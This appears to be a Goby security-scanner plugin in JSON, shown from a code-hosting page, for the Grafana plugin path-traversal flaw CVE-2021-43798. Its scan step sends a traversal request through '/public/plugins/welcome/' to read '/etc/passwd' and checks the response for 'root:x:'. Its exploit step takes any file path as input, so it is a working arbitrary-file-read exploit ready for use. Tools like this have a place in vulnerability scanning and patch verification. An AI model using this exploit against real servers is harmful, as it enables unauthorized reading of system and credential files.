Goby/json/Grafana_Plugins_Arbitrary_F...

105 lines
3.9 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{
"Name": "Grafana Plugins Arbitrary File Read CVE-2021-43798",
"Level": "3",
"Tags": [
"fileread"
],
"GobyQuery": "( app=\"Grafana\" | title==\"Grafana\" )",
"Description": "Grafana是用于可视化大型测量数据的开源程序他提供了强大和优雅的方式去创建、共享、浏览数据。dashboard中显示了你不同metric数据源中的数据。通过默认存在的插件可构造特殊的请求包读取服务器任意文件。",
"Product": "Grafana",
"Homepage": "https://grafana.com/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/DTkVTtbndaMWL9WGzaI32A"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Path",
"Type": "input",
"Value": "../../../../../../../../../etc/passwd"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/public/plugins/welcome/../../../../../../../../../etc/passwd",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "daemon:x:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/public/plugins/welcome/{{{Path}}}",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-12-08 13:56:21",
"GobyVersion": "1.9.310"
}